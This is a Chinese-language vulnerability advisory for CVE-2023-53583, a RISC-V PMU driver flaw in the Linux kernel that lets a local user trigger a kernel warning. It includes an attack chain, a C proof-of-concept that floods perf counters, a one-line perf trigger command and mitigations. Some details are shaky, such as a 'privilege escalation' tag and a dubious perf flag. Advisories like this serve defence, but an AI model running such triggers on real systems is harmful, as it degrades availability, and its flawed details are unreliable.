IPBUF安全漏洞报告
English
CVE-2023-53583 CVSS 5.5 中危

CVE-2023-53583 Linux内核RISC-V PMU驱动警告漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53583
漏洞类型
逻辑缺陷/警告触发(内核断言失败)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(drivers/perf/riscv_pmu.c)

相关标签

Linux KernelRISC-VPMUperf逻辑缺陷内核警告本地提权可用性影响drivers/perf/riscv_pmu.cWARN_ON_ONCE

漏洞概述

CVE-2023-53583是Linux内核RISC-V架构性能监控单元(PMU)驱动中的一个逻辑缺陷漏洞。该漏洞源于commit 096b52fd2bb4("perf: RISC-V: throttle perf events")引入的perf事件限流机制与RISC-V PMU驱动的不兼容问题。具体而言,当perf事件溢出中断处理时间过长时,内核框架会通过perf_sample_event_took()函数降低采样率并对事件进行限流(throttling)。在限流解除后,timer中断处理会调用riscv_pmu_start()函数,但该函数中保留了不必要的PERF_HES_STOPPED标志检查,导致触发WARN_ON_ONCE()警告。该警告虽然不会直接导致系统崩溃,但表明内核处于不一致状态,可能影响系统稳定性和可用性。CVSS评分为5.5分,属于中危级别,攻击向量为本地,需要低权限即可触发,无需用户交互,主要影响系统可用性。修复方案是参考Arm、Loongarch、Csky和Mips等其他PMU驱动,移除riscv_pmu_start()中不必要的PERF_HES_STOPPED标志检查。

技术细节

该漏洞的技术原理如下:

1. 自commit 096b52fd2bb4起,内核增加了perf_sample_event_took()函数用于报告溢出中断中花费的时间。当中断处理时间过长时,perf框架会降低sysctl_perf_event_sample_rate和max_samples_per_tick的值。

2. 当hwc->interrupts超过max_samples_per_tick时,hwc->interrupts会被设置为MAX_INTERRUPTS,事件将在__perf_event_account_interrupt()函数中被限流。

3. 关键问题在于:RISC-V PMU驱动在pmu_sbi_ovf_handler()函数中调用perf_event_overflow()后,没有调用riscv_pmu_stop()来更新PERF_HES_STOPPED标志以避免限流。

4. 当perf框架在timer中断处理中解除事件限流时,会触发riscv_pmu_start()函数。由于该函数中保留了PERF_HES_STOPPED标志检查,而标志未被正确设置,导致WARN_ON_ONCE()警告被触发。

5. 复现条件:在RISC-V平台上运行perf工具,触发足够多的性能事件使中断处理时间超过阈值,导致事件被限流,随后限流解除时即会触发警告。

利用方式:本地攻击者通过运行特定的perf命令或性能测试工具,使PMU中断频繁触发,最终触发内核警告。虽然该警告本身不会直接造成拒绝服务,但可能导致内核日志被大量警告信息填充,影响系统可维护性。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在受影响的RISC-V Linux系统上拥有本地低权限访问权限,系统需运行受影响版本的内核(如6.4-rc4)。
STEP 2
步骤2:访问PMU硬件
通过perf_event_open系统调用或perf命令行工具访问PMU硬件计数器(如CPU周期、指令计数),设置极小的采样周期以产生频繁的溢出中断。
STEP 3
步骤3:触发中断限流
运行计算密集型负载产生大量PMU溢出中断。当hwc->interrupts超过max_samples_per_tick时,perf框架自动触发事件限流机制。
STEP 4
步骤4:触发警告
在timer中断处理中,perf框架尝试解除事件限流并调用riscv_pmu_start()函数。由于PERF_HES_STOPPED标志未被正确更新,触发WARN_ON_ONCE()警告。
STEP 5
步骤5:影响系统
内核日志被警告信息污染,可能影响系统监控和调试。在极端情况下,持续触发警告可能影响系统稳定性和可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53583 - Trigger RISC-V PMU WARN_ON_ONCE warning // Run on a RISC-V platform (e.g., SiFive HiFive Unmatched) // Requires: Linux kernel 6.4-rc4 or similar affected version // Requires: perf tool and access to PMU hardware events #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #include <linux/perf_event.h> #include <asm/unistd.h> static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); } int main(int argc, char **argv) { struct perf_event_attr pe; long fd1, fd2; int i; memset(&pe, 0, sizeof(struct perf_event_attr)); pe.type = PERF_TYPE_HARDWARE; pe.size = sizeof(struct perf_event_attr); pe.config = PERF_COUNT_HW_CPU_CYCLES; pe.disabled = 1; pe.exclude_kernel = 1; pe.sample_period = 100; // Very small period to trigger frequent interrupts // Open a hardware cycle counter with high frequency sampling fd1 = perf_event_open(&pe, 0, 0, -1, 0); if (fd1 == -1) { perror("perf_event_open"); return 1; } // Open another counter to increase interrupt load pe.config = PERF_COUNT_HW_INSTRUCTIONS; fd2 = perf_event_open(&pe, 0, 0, fd1, 0); if (fd2 == -1) { perror("perf_event_open (instructions)"); close(fd1); return 1; } // Start both counters - this will trigger frequent overflow interrupts ioctl(fd1, PERF_EVENT_IOC_ENABLE, 0); ioctl(fd2, PERF_EVENT_IOC_ENABLE, 0); // Run workload to generate many PMU interrupts // This should cause throttling and then unthrottling, // triggering the WARN_ON_ONCE in riscv_pmu_start() printf("Generating high PMU interrupt load...\n"); for (i = 0; i < 1000000; i++) { // Busy loop to generate CPU activity volatile long x = 0; x += i * 2; } // Check kernel log for WARN_ON_ONCE message printf("Check dmesg for WARN_ON_ONCE at drivers/perf/riscv_pmu.c:184\n"); close(fd1); close(fd2); return 0; } // Alternative trigger method using perf command line: // perf stat -e cycles,instructions -c 100 dd if=/dev/zero of=/dev/null bs=1M count=1000 // This generates enough PMU interrupts to trigger throttling and the warning.

影响范围

Linux Kernel < 6.4-rc4(包含commit 096b52fd2bb4的RISC-V PMU驱动)
Linux Kernel 6.4-rc4(已确认存在该问题的版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下方式临时缓解:1)限制普通用户访问perf_event相关系统调用(如通过seccomp或LSM策略);2)降低perf采样频率以减少中断触发;3)通过sysctl调整perf_event_sample_rate参数;4)参考其他架构(Arm、Loongarch、Csky、Mips)的PMU驱动手动移除riscv_pmu_start()中的PERF_HES_STOPPED检查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表